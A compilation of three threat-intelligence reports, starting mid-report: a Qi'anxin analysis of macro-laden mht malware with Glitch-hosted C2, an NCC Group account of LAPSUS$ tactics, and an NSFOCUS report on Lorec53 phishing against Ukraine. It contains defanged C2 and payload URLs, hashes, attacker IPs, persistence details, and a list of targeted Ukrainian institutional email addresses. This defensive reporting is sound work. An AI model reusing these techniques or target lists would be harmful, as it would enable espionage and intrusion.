platform in a POST request. The return URL is hxxps://elemental-futurecheetah.glitch.me/afe92a2bd2P .
Then get the follow-up from the C2 with a GET request, and the follow-up payload is
transmitted as a 7z compressed file. Get the subsequent URL as hxxps://elemental-futurecheetah.glitch.me/afe92a2bd2D. Subsequent payloads are saved in
"C:\ProgramData\Microsoft Edge Download\properties.bin".
The malware in the 7z archive is decompressed and saved in the "C:\ProgramData\Microsoft
Edge Download" directory. The subsequent payload is executed by setting a scheduled task
through the COM object, and the persistence of subsequent malware is achieved at the same
time. The name of the scheduled task is "Chrome Update".
13/20
Since C2 is currently inaccessible, subsequent malware cannot be obtained for analysis. Use
the calculator program (calc.exe) in the system to simulate the acquired subsequent loads to
display the set scheduled tasks.
The dll also has a feature that uses GetCurrentThread/ GetCurrentProcess and
WaitForSingleObject instead of Sleep to perform hibernation operations.
activity association
early samples
14/20
The earliest such attack samples can be traced back to August 2021. The early sample
information is as follows:
file type
file name
VT upload time
6d0ab5f4586166ac3600863bc9ac493e
Win32
DLLs
2zofrncu.dll
2021/08/23 12:52:31
0bd0f1dd8b03c11b3d59da2c5fba2e45
Win32
DLLs
mslog.dll
2021/08/26 03:55:13
cc4a9d5248095e64c1f22e8a439416cc
Win64
DLLs
mslog64.bin
2021/08/26 03:57:57
mslog.dll and mslog64.bin correspond to the 32-bit dll and 64-bit dll released in the
aforementioned attack process, respectively. 2zofrncu.dll is the PE that mslog.dll injects into
the remote process. The structure and operation process of the three samples are the same as
the dll samples involved in this attack. The relevant URLs are as follows:
Function
hxxps://immense-plastic-pullover.glitch.me/T812P
Return collected information
hxxps://immense-plastic-pullover.glitch.me/T812D
download follow-up
It is worth noting that the PE injected into the memory during the entire attack process does
not land on the disk, but the sample 2zofrncu.dll uploads VT earlier than its superior sample
mslog.dll. Furthermore, all three samples uploaded VT from Vietnam by the same uploader.
Combining the above information, we guess that these three samples may be early test
samples.
Previously disclosed attack samples
The samples involved in this attack are strongly related to the attack samples [2] disclosed by
the Qi Anxin Threat Intelligence Center in December last year , and can be considered to be
from the same attack group. The first is a misinformation document with the same content
used in both campaigns.
15/20
Then the code obfuscation method used by the malicious dll is the same, and the running
process is the same:
(1) A subdirectory with a name related to Microsoft will be created in the "C:\ProgramData"
directory;
(2) Collect host information, encrypt it and send it back to the C2 service program hosted on
the Glitch platform as a POST request. The returned URL format is hxxps://[xxx]-[xxx][xxx].glitch.me /[xxx]P;
(3) Then obtain the subsequent payload compressed by 7z from C2 and execute it. The
subsequent URL format is hxxps://[xxx]-[xxx]-[xxx].glitch.me/[xxx]D.
Comparison with the historical attack method of Ocean Lotus
The attack sample uses some historical attack methods of OceanLotus. OceanLotus has used
mht files carrying malicious macros to release the KerrDown downloader [3] in the past
attacks . Similarly, the malicious macros will choose to release 32-bit dll or 64-bit dll
according to the system version. The dll used as the KerrDown downloader also uses pictures
The suffix of the format file is saved on disk. In addition, the instruction obfuscation method
used by the malicious dll involved in this batch of attack samples is similar to that of Ocean
Lotus, and the reflective loading method is also used to load the PE in the memory during the
sample execution process.
The differences from the previous attacks of Ocean Lotus are:
(1) The file name of the error message displayed by the sample is inconsistent with the
original mht file name, and it is impossible to determine whether the attacker is negligent or
deliberate. And the file data to be released is directly spliced at the end of the mht file without
encryption or encoding processing. OceanLotus often saves the file data to be released in an
encrypted or encoded form.
16/20
(2) The reflection loading method used by the sample is different from that of the sea lotus
tissue. OceanLotus often uses shellcode as the loader for reflective loading of PE, and this
batch of attack samples uses the exported function of the loaded dll as the loader.
The above differences may be due to either the Ocean Lotus group trying new attack
methods, or the attack activities carried out by other groups. Due to the lack of pertinence in
the sample name, the C2 service is hosted on the public platform Glitch, and the URL fails to
obtain subsequent malware. At present, the specific identity of the attacker cannot be clearly
identified, and further clues and information are to be discovered later.
Summarize
This type of attack sample uses malicious macros carried by mht files to implant malicious
software on the victim host. The methods used in the attack process are similar to those of
the OceanLotus organization, but there are also some characteristics that are different from
the historical attack activities of OceanLotus. Although it cannot be attributed to a specific
attack group for the time being, by sorting out a series of related attack activities, it can be
found that the attackers behind them are constantly improving their attack methods and
updating attack weapons.
No domestic users have been affected by this attack, but precautions are essential. The
Qi'anxin Red Raindrop team reminds users not to open links of unknown origin shared on
social media, not to click and execute email attachments from unknown sources, not to run
unknown files with exaggerated titles, and not to install apps from informal sources. Do
timely backup of important files, update and install patches.
If you need to run and install applications of unknown origin, you can first use the Qianxin
threat intelligence file in-depth analysis platform
(https://sandbox.ti.qianxin.com/sandbox/page) to determine. Currently, it supports indepth analysis of files in various formats including Windows and Android platforms.
At present, the full line of products based on the threat intelligence data of Qi'anxin Threat
Intelligence Center, including Qi'anxin Threat Intelligence Platform (TIP), Tianqing, Tianyan
Advanced Threat Detection System, Qi'anxin NGSOC, Qi'anxin Situational Awareness, etc.,
have already supported this Accurate detection of class attacks.
17/20
IOCs
0ee738b3837bebb5ce93be890a196d3e
11d36c3b57d63ed9e2e91495dcda3655
204cb61fce8fc4ac912dcb3bcef910ad
a7a30d88c84ff7abe373fa41c9f52422
b1475bdbe04659e62f3c94bfb4571394
b2eb3785e26c5f064b7d0c58bdd3abe0
d8fa458192539d848ee7bb171ebed6bd
e7ce1874ab781c7a14019b6a6e206749
eb6cf9da476c821f4871905547e6a2b4
f5ea39b70f747e34ae024308298f70ac
f8d30c45ed9d3c71ec0f8176ddd7fd8f
6d0ab5f4586166ac3600863bc9ac493e
0bd0f1dd8b03c11b3d59da2c5fba2e45
18/20
cc4a9d5248095e64c1f22e8a439416cc
hxxps://elemental-future-cheetah.glitch.me/afe92a2bd2D
hxxps://elemental-future-cheetah.glitch.me/afe92a2bd2P
hxxps://elemental-future-cheetah.glitch.me/559084b660P
hxxps://elemental-future-cheetah.glitch.me/02d9169d60D
hxxps://elemental-future-cheetah.glitch.me/02d9169d60P
hxxps://confusion-cerulean-samba.glitch.me/e1db93941c
hxxps://confusion-cerulean-samba.glitch.me/0627f41878D
hxxps://confusion-cerulean-samba.glitch.me/0627f41878P
hxxps://confusion-cerulean-samba.glitch.me/192f188023
hxxps://confusion-cerulean-samba.glitch.me/2e06bb0ce9
hxxps://confusion-cerulean-samba.glitch.me/55da2c2031
hxxps://torpid-resisted-sugar.glitch.me/fb3b5e76b4D
hxxps://torpid-resisted-sugar.glitch.me/fb3b5e76b4P
hxxps://torpid-resisted-sugar.glitch.me/83a57b42f1D
hxxps://torpid-resisted-sugar.glitch.me/83a57b42f1P
hxxps://torpid-resisted-sugar.glitch.me/5db81501e9P
hxxps://immense-plastic-pullover.glitch.me/T812D
hxxps://immense-plastic-pullover.glitch.me/T812P
Reference link
[1] https://www.netskope.com/blog/abusing-microsoft-office-using-malicious-web-archivefiles
19/20
[2] https://ti.qianxin.com/blog/articles/Obfuscation-techniques-similar-to-OceanLotus/
[3] https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/
20/20
LAPSUS$: Recent techniques, tactics and procedures
research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures
April 28, 2022
Authored by: David Brown, Michael Matthews and Rob Smallridge
tl;dr
This post describes the techniques, tactics and procedures we observed during recent
LAPSUS$ incidents.
Our findings can be summarised as below:
Access and scraping of corporate Microsoft SharePoint sites in order to identify any
credentials which may be stored in technical documentation.
Access to local password managers and databases to obtain further credentials and
escalate privileges.
Living of the land 
 tools such as RVTools to shut down servers and ADExplorer to
perform reconnaissance.
Cloning of git repositories and extraction of sensitive API Keys.
Using compromised credentials to access corporate VPNs.
Disruption or destruction to victim infrastructure to hinder analysis and consume
defensive resource.
Summary
LAPSUS$ first appeared publicly in December 2021, however, NCC Group first observed
LAPSUS$ months prior during an incident response engagement. We believe the group has
also operated prior to this date, though perhaps not under the 
LAPSUS$
 banner.
Over the last 5 months, LAPSUS$ has gained large notoriety with some successful breaches
of some large enterprises including, Microsoft, Nvidia, Okta & Samsung. Little is still known
about this group with motivations appearing to be for reputation, money and 
for the lulz
Notifications or responsibility of victims by LAPSUS$ are commonly reported via their
telegram channel and in one case a victim
s DNS records were reconfigured to LAPSUS$
controlled domains/websites. However, not all victims or breaches appear to actively be
announced via their telegram channel, nor are some victims approached with a ransom. This
distinguishes themselves from more traditional ransomware groups who have a clear modus
operandi and are clearly financially focused. The result of this is that LAPSUS$ are less
predictable which may be why they have seen recent success.
This serves as a reminder for defenders for defence in depth and the need to anticipate
different tactics that threat actors may use.
It is also worth mentioning the brazen behaviour of this threat actor and their emboldened
attempts at Social Engineering by offering payment for insiders to provide valid credentials.
This tactic is potentially in response to greater home working due to the pandemic which
means there is a far larger proportion of employees with VPN access and as such a greater
pool of potential employees willing to sell their credentials.
To combat this, organisations need to ensure they have extensive VPN logging capabilities,
robust helpdesk ticketing as well as methods to help identify anomalies in VPN access.
It is notable that the majority of LAPSUS$ actions exploit the human element as opposed to
technical deficiencies or vulnerabilities. Although potentially viewed as unsophisticated or
basic these techniques have been successful, so it is vital that organisations factor in controls
and mitigations to address them.
Initial access
Threat Intelligence shows that LAPSUS$ utilise multiple methods to gain Initial access.
The main source of initial access is believed to occur via stolen authentication cookies which
would grant the attacker access to a specific application. These cookies are usually in the
form of Single sign-on (SSO) applications which would allow the attacker to pivot into other
corporate applications ultimately bypassing controls such as multi-factor authentication
(MFA).
Credential access and Privilege escalation
Credential Harvesting and privileged escalation are key components of the LAPSUS$
breaches we have seen, with rapid escalation in privileges the LAPSUS$ group have been
seen to elevate from a standard user account to an administrative user within a couple of
days.
In the investigations conducted by NCC Group, little to no malware is used. In one case NCC
Group observed LAPSUS$ using nothing more than the legitimate Sysinternals tool
ADExplorer, which was used to conduct reconnaissance on the victim
s environment.
Access to corporate VPNs is a primary focus for this group as it allows the threat actor to
directly access key infrastructure which they require to complete their objectives.
In our incident response cases, we saw the threat actor leveraging compromised employee
email accounts to email helpdesk systems requesting access credentials or support to get
access to the corporate VPN.
Lateral Movement
In one incident LAPSUS$ were observed to sporadically move through the victim
environment via RDP in an attempt to access resources deeper in the victim environment. In
some instances, victim controlled hostnames were revealed including the host 
VULTRGUEST
 which refers to infrastructure hosted on the private cloud service, Vultr[3].
Exfiltration
LAPSUS$
s action on objectives appears to focus on data exfiltration of sensitive information
as well as destruction or disruption. In one particular incident the threat actor is observed to
utilise the free file drop service 
filetransfer[.]io
Impact
NCC Group has observed disruption and destruction to client environments by LAPSUS$
such as shutting down virtual machines from within on-premises VMware ESXi
infrastructure, to the extreme of mass deletion of virtual machines, storage, and
configurations in cloud environments making it harder for the victim to recover and for the
investigation team to conduct their analysis activities.
The theft of data reported appears to heavily be focused on application source code or
proprietary technical information. With a targeting of internal source code management or
repository servers. These git repositories can contain not only commercially sensitive
intellectual property, but also in some cases may include additional API keys to sensitive
applications including administrative or cloud applications.
Recommendations
Ensure that Cloud computing environments have sufficient logging enabled.
Ensure that cloud administrative access is configured to prevent unauthorised access to
resources and that API keys are not overly permissive to the permissions they require.
Utilise MFA for user authentication on both cloud and remote access solutions to help
reduce the risk of unauthorised access.
Ensure logging is in place to record MFA device enrolment
Security controls such as Conditional Access can help restrict or prevent unauthorised
access based on criteria such as geographical location.
Implement activities to detect and investigate anomalies in VPN access.
Ensure a system is in place to record all helpdesk queries.
Avoid using SMS as an MFA vector to avoid the risk of SIM swapping.
Securing source code environments to ensure that users can only access the relevant
repositories.
Secret Scanning[1][2] on source code repositories should be conducted to ensure that
sensitive API credentials are not stored in source code. GitHub and Gitlab offer
detection mechanisms for this
Remote Desktop services or Gateways used as a primary or secondary remote access
solution should be removed from any corporate environment in favour for alternative
solutions such as secured VPNs, or other Remote Desktop applications which mitigate
common attack techniques such as brute force or exploitation and can offer additional
security controls such as MFA and Conditional Access.
Centralise logging including cloud applications (SIEM solution).
Offline or immutable backups of servers should be taken to ensure that in the event of a
data disruption or destruction attack, services can be restored.
Reduce MFA token/Session cookie validity times
Ensure principle of least privilege for user accounts is being adhered to.
Social engineering awareness training for all staff.
Indicators of Compromise
Indicator Value
Indicator
Type
Description
104.238.222[.]158
IP address
Malicious Lapsus Network Address
108.61.173[.]214
IP address
Malicious Lapsus Network Address
185.169.255[.]74
IP address
Malicious Lapsus Network Address
VULTR-GUEST
Hostname
Threat Actor Controlled Host
hxxps://filetransfer[.]io
Domain
Free File Drop Service Utilised by the Threat
Actor
MITRE ATT&CK
Technique
Code
Technique
T1482
Discovery 
 Domain Trust Discovery
T1018
Discovery 
 Remote System Discovery
T1069.002
Discovery 
 Groups Discovery: Domain Groups
T1016.001
Discovery 
 System Network Configuration Discovery
T1078.002
Privilege Escalation 
 Domain Accounts
T1555.005
Credential Access 
 Credentials from Password Stores: Password
Managers
T1021.001
Lateral Movement 
 Remote Services: Remote Desktop Protocol
T1534
Lateral Movement 
 Internal Spearphishing
T1072
Execution 
 Software Deployment Tools
T1213.002
Collection 
 Data from Information Repositories: Sharepoint
T1039
Collection 
 Data from Network Shared Drive
T1213.003
Collection 
 Data from Information Repositories: Code Repositories
T1567
Exfiltration 
 Exfiltration Over Web Service
T1485
Impact 
 Data Destruction
T1529
Impact 
 System Shutdown/Reboot
References
APT group Lorec53 (Lori Bear) recently launched a largescale cyber attack on Ukraine
blog.nsfocus.net/apt-lorec53-20220216
Fuying Lab
1. Summary of the event
Recently, NSFOCUS Fuying Lab has captured a large number of phishing file attacks against
Ukraine, and the associated malicious files include pdf, doc, cpl, lnk and other types. After
analysis, we confirmed that this series of fishing activities came from the APT organization
Lorec53 (Chinese name: Lori Xiong). During the period from the end of 2021 to February 2022,
the organization used a variety of attack methods to deliver a variety of phishing documents to key
state institutions such as the Ministry of Defense, Ministry of Finance, embassies, state-owned
enterprises, and public medical facilities of Ukraine to collect organizational Personnel
information-based network attack activities.
2. Organizational Background
Lorec53 (Chinese name: Lori Xiong) is a new type of APT organization first identified and named
by NSFOCUS Fuying Laboratory, active in Eastern Europe. The Ukrainian Computer Emergency
Response Center identified the organization as UAC-0056 in a recent report
(https://cert.gov.ua/article/18419). Fuying Lab found that the group's captureable spy Trojans
first appeared in 2020, and began to organize large-scale cyber espionage attacks against Ukraine
and Georgia in early 2021.
Lorec53 exposed a large number of Russian hacker characteristics in terms of attack tools, domain
name registration information, asset location, etc., and its attack targets are also closely related to
Russia's national interests. A study of Lorec53's development trajectory found that the
organization was suspected of being employed by other high-level espionage organizations to gain
revenue by undertaking state-level espionage attacks or selling confidential government
documents.
Lorec53 has strong infiltration ability and changeable attack methods. It can organize large-scale
and high-density phishing attacks. It is also good at learning from other organizations' social
engineering technology and network resource management methods.
At present, the victims affected by the Lorec53 attack include users of the National Bank of Iran,
Georgia's Epidemic Prevention and Health Department, Ukraine's Ministry of Defense, the
Presidential Office, the Ministry of the Interior, and the Border Guard.
For more reports related to the organization, please refer to the analysis report of Fuying Lab on
the organization (http://blog.nsfocus.net/lorec-53/, http://blog.nsfocus.net/lorec53-nsfocus/ ,
http://blog.nsfocus.net/apt-lorec/)
3. Overview of events
1/12
Lorec53's current round of attacks lasted for a long time, with a wide range of targets, and the
attack methods had obvious organizational characteristics.
Lorec53 continued the previous decoy design methods in this round of attacks, constructing
phishing including Ukrainian government documents that mask some information, shortcut files
with Ukrainian titles and camouflaged extensions, and cpl files with Ukrainian file names. bait,
and distribute these bait masquerading as a member of a credible organization.
bait name
translate
 2021 
According to the decision of the National
Security and Defense Council of Ukraine of
September 7, 2021 "On the modification of
special economic and other restrictions on
individuals (sanctions)"
crime report
12-01-2022
Complain to the court orderer 12-01-2022
Petition to return property to Ukrainian
citizen
The example of filling in the description text
is filled in manually
Clarify the correctness of electronic medical
records in the electronic health system, and
the impact of the law
Table 3.1 Some fishing lures names and translations
In this series of phishing attacks, Lorec53 attackers mainly used three domain names, 3237.site,
stun.site, and eumr.site, as download servers for various phishing files. The site domain is one of
the commonly used domains of Lorec53. As of February 11, some URLs are still accessible and can
deliver payload files, indicating that this round of attacks is still ongoing.
In this series of attacks, Lorec53 directly wrote the collected mailboxes of key Ukrainian facilities
into the decoy text. Judging from Lorec53's past behavior, such an operation may be used to
increase the credibility of the bait. This feature also provides a basis for investigators to confirm
the attack coverage.
This time, Lorec53 still uses known Trojan programs, including LorecDocStealer (also known as
OutSteel), LorecCPL, SaintBot, and packaged these Trojan programs as much as possible.
4. Event Analysis
2/12
4.1 Attack event one
First from phishing attacks occurred in late 2021, Lorec53 constructed a lot to "
 2021 
) "" the
title of the fishing documentation. The contents of these phishing documents refer to a presidential
decree adopted by the National Security and Defense Council of Ukraine on September 7, 2021,
claiming that special asset restrictions and sanctions will be imposed on a specific person.
Figure 4.1 Phishing document titled 
Restrictions (sanctions) on modification of personal special economics
According to the relevant decrees of Ukraine, the Ukrainian Security Service, the Cabinet and other
state departments can modify the document "Restriction Measures (Sanctions) for Individual
Special Economics and Others" to add or delete specific economic sanctions. In the amendment on
September 7, the economic sanctions object numbered 85 was added.
It should be noted that the content of the phishing file is roughly the same as the content of the
attachment in the presidential decree published by the Ukrainian government
(https://zakon.rada.gov.ua/laws/show/n0062525-21#Text), but the Lorec53 attacker The
following changes have been made to the text:
1. The use of asterisks obscures specific citizen information;
This is Lorec53's usual practice when building phishing documents, in this way to lure victims to
enable the editing function of the document, and then run the macro code in the document
3/12
2. Added email addresses that do not exist in the original text;
The Lorec53 attacker added government email addresses to the original citizen information
without fuzzing. After query, the "DMYTROTSAN@ukr.net" address in the sample fishing email
does not matter, but point to the Ukrainian Wolin Treasury (
The above two changes indicate that the target of Lorec53's phishing operation is the Ukrainian
government, and the email address in the phishing email is likely to be the same as the victim's
email address. Fuying Lab counted the mailbox information in all captured phishing emails to
evaluate the impact of this Lorec53 phishing attack.
4/12
Mail
Corresponding institution or enterprise
dmytrotsan@ukr.net
Ministry of Finance of Volin Oblast, Ukraine
emb_sm@mfa.gov.ua
Embassy of Ukraine in Serbia
kev_dnipro@post.mil.gov.ua
Ministry of Housing and Operations of Dnipro
Oblast, Ukraine
zorkz@mil.gov.ua
Joint Operations Command of the Armed Forces
of Ukraine
office.skdvs@ks.treasury.gov.ua
Ministry of Finance, Skadovsk District, Kherson
Oblast, Ukraine
sadovska-ii@utg.ua
UKRTRANSGAZ AG
ufg.csc@ufg@.com.ua
Ukrainian Financial Group
pokrovske_tckspdp@post.mil.gov.ua
Staffing and Social Support Center of the Third
Sector, Sinernikivsky District, Dnipropetrovsk
Oblast, Ukraine
zmievkazna@ukr.net
Ministry of Finance, Zmiv District, Kharkiv Region,
Ukraine
kuzmych@naftogaz.com
Ukrainian Naftogaz Joint Stock Company
zvernmou@ukr.net
Department of Civil Work and Access to Public
Information of the Ministry of Defense of Ukraine
perevod@pivdenny.ua
Pivdennyi Bank
kevzp@post.mil.gov.ua
Press and Information Department of the Ministry
of Defense of Ukraine
i.kozarovska@ukrburgas.com.ua
UkrGasVydobuvannya JSC Branch Ukrburgaz
kanivkamvo@ukr.net
Department of Education, Executive Committee,
Kanif City Council, Cherkassy Region
t.litovko@direkcy.atom.gov.ua
VP KB ATOMPRILAD DP NAEK ENERGOATOM
timm93@ukr.net
Ministry of Finance of Vasilevka, Zaporozhye
Oblast, Ukraine
office.cherv@lv.treasury.gov.ua
Ministry of Finance of Chervonohrad, Lviv Oblast,
Ukraine
kevplt_kes@post.mil.gov.ua
babich-ka@utg.ua
UKRTRANSGAZ AG
kevplt_zhytlo@post.mil.gov.ua
5/12
corruption@direkcy.atom.gov.ua
Ukrainian state-owned enterprise "NNEGC"
Energoatom"
emb_jp@mfa.gov.ua
Embassy of Ukraine in Japan
genotdel@odessa.gov.ua
Odessa Oblast Administration of Ukraine
zoya_skl@ukr.net
Ministry of Finance, Oleshandrivka District,
Kirovolad Oblast, Ukraine
ruslan.marunia@bank.gov.ua
Department of Currency Circulation, National
Bank of Ukraine
malyshev.tender@ukroboronprom.com
Maleshev Plant
emb_pl@mfa.gov.ua
Embassy of Ukraine in Poland
irudksu@i.ua
Ministry of Finance, Irshava District, Zakarpatia
Region, Ukraine
emb_lt@mfa.gov.ua
Embassy of Ukraine in Lithuania
emb_fi@mfa.gov.ua
Embassy of Ukraine in Finland
abashinao@kv.treasury.gov.ua
Ministry of Finance of Kiev, Ukraine
1545@ukc.gov.ua
Ukrainian Government Hotline 1545
tetiana.rupcheva@bank.gov.ua
Monetary Policy and Market Operations
Department of the National Bank of Ukraine
pr@atom.gov.ua
Ukrainian state-owned enterprise "NNEGC"
Energoatom"
1201_buhg@dmsu.gov.ua
Dnipropetrovsk Oblast Immigration Office of
Ukraine
kherson_kev@post.mil.gov.ua
Ministry of Housing and Operations of Kherson
Oblast, Ukraine
sholyak27@ukr.net
Ministry of Finance of the Transcarpathian State
of Ukraine
office@novator-tm.com
Ukrainian state-owned enterprise "Novator"
mps@industrialbank.ua
AKB Industrialbank PAT
v.harchenko@mil.gov.ua
Table 4.1 Email addresses and corresponding organizations in phishing emails
The associated information of these email addresses shows that the main goal of Lorec53 in this
phishing attack is early detection and information collection, which is the same as the
organization's previous activities.
6/12
The malicious macro in these phishing documents will download and run the Trojan at
http[:]//3237[.]site/test01.exe. Also associated with this domain is a phishing shortcut file named
.lnk" (a special file of the Ukrainian Security Service.lnk), and a known
Lorec53 Trojan named "08-2021.cpl" LorecCPL, so The direct correlation of this domain name to
Lorec53 can be confirmed.
Figure 4.2 The main logic part of the LorecCPL Trojan
A malicious shortcut file named "
.lnk" was also used by Lorec53 in
several attacks. Lorec53 constructs named "sadovska-iiutg.ua.zip", "feukslpost.mil.gov.ua.zip",
"n.lashevychdirekcy.atom.gov.ua.zip", "feukslpost.mil.gov.ua. zip
, etc., and put this malicious
shortcut file in the same folder as a large number of non-toxic decoy files, expecting the victim to
run the malicious file while browsing file by file. This baiting method also fits with Lorec53's
historical approach.
7/12
Figure 4.3 Decoy zip file directory, red is the malicious shortcut file
From the name of the compressed package, it can be seen that the target of this attack is similar to
and partially overlapped with the aforementioned personal economic sanctions phishing
document, which can be speculated to be the same series of attacks.
4.2 Attack event 2
Another phishing attack occurred between December 2021 and February 2022.
In early February, Lorec53 produced a series of phishing documents with the theme of
" (criminal report), which were delivered in the form of
pdf vulnerability files and docx malicious macro files.
The phishing document named "
.pdf" (criminal
report.pdf) displayed the words "please update" when opened.
8/12
Figure 4.4 Phishing document titled "Crime Report"
This is the commonly used pdf decoy construction method for Lorec53, the file is used to download
the link
https[:]//get.adobe.com.uk.reader.updateadobeacrobatreaderdc.stun[.]site/get.adobe.com.uk.reader/
Trojan programs corresponding to
get.adobe.com.uk.reader/get.adobe.com.uk.reader/AdobeAcrobatUpdate.exe. The trojan is a
packaged LorecDocStealer (also known as OutSteel) trojan, which is used to steal various
document files on the victim's host. The shell wrapping technique used by Lorec53 on this Trojan
is very common in AgentTesla spyware.
A similar phishing document "
).docx" was opened to display images and textual information with obvious Lorec53
lure build characteristics.
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Figure 4.5 Phishing document titled 
Crime Report (Belous Alexei Sergeevich)
The document is disguised as a document of the investigation department of the Ukrainian
National Police. By blocking the image and red prompt information, it induces the victim to click
the icon ole object in the document, and then execute the js script, download and run
https[:]//cdn.discordapp[.] Trojan in
com/attachments/932413459872747544/938291977735266344/putty.exe. The Trojan is also the
packaged LorecDocStealer (OutSteel) Trojan.
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With reference to the aforementioned attack incident, the unobfuscated email address
o.bilous@ukrtransnafta.com in this document may be the email address of the direct victims of
this incident. The affiliate company of this mailbox is UKRTRANSNAFT Joint Stock Company of
Ukraine.
In addition, the docx phishing document was also captured and published by the Ukrainian
Computer Emergency Response Center (CERT-UA). In related reports
(https://cert.gov.ua/article/18419), CERT-UA referred to the Lorec53 organization as the UAC0056.
Through correlation analysis of the stun.site domain name that appeared in this attack, Fuying Lab
confirmed a variety of decoy files released by Lorec53 from December 2021. These files include
.lnk, .cpl, .rar and other formats, all of which are known decoy forms of Lorec53. The main
function is to obtain and run the subsequent LorecDocStealer (OutSteel) Trojan from stun.site.
4.3 Attack event 3
The third attack incident mainly revolved around the domain name eumr[.]site.
In early 2, Lorec53 structure called "
" (electronic
medical system to clarify the validity of electronic medical records, as well as the impact of the law)
bait , delivered in the form of a zip archive. Based on the name of the decoy, it can be speculated
that the file comes from an attack campaign against the Ukrainian medical system, which overlaps
with previous Lorec53 targets.
The malicious shortcut file in the compressed package is a typical Lorec53 phishing lure, used to
download and run the Trojan program located at http[:]//eumr[.]site/up74987340.exe, which is
the LorecDocStealer (OutSteel) spy Trojan.
The file properties show that these decoy files were modified on January 31, 2022.
The domain names and CnC communication addresses that appeared in this incident can be linked
to a number of other malicious programs, which are various forms of wrappers for the
LorecDocStealer (OutSteel) spyware.
V. Summary
The multiple attacks discovered this time are all part of the large-scale cyber attack activities
carried out by Lorec53 (Lori Bear) in different time periods from the end of 2021 to February 2022
against Ukrainian government departments, the military, and state-owned enterprises. The main
targets of these attacks are still early detection and information collection, and they show the
distinctive characteristics of Lorec53 at various stages.
The phishing lures captured this time show that Lorec53 has indeed inherited the organization's
mercenary hacking characteristics when operating a national-level cyber attack campaign. Lorec53
will batch-produce and regularly adjust the content of phishing bait, with flexible download server
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addresses and CnC addresses, to indiscriminately harass and attack the exposed mailboxes of key
Ukrainian institutions. This large-scale attack idea is similar to Lorec53's early operation idea as
an email botnet operator.
With the changes in the situation in Eastern Europe, the activity of cyber espionage activities
against Ukraine has increased significantly recently, and Fuying Lab will continue to pay attention
to the progress of the activities of the Lorec53 organization.
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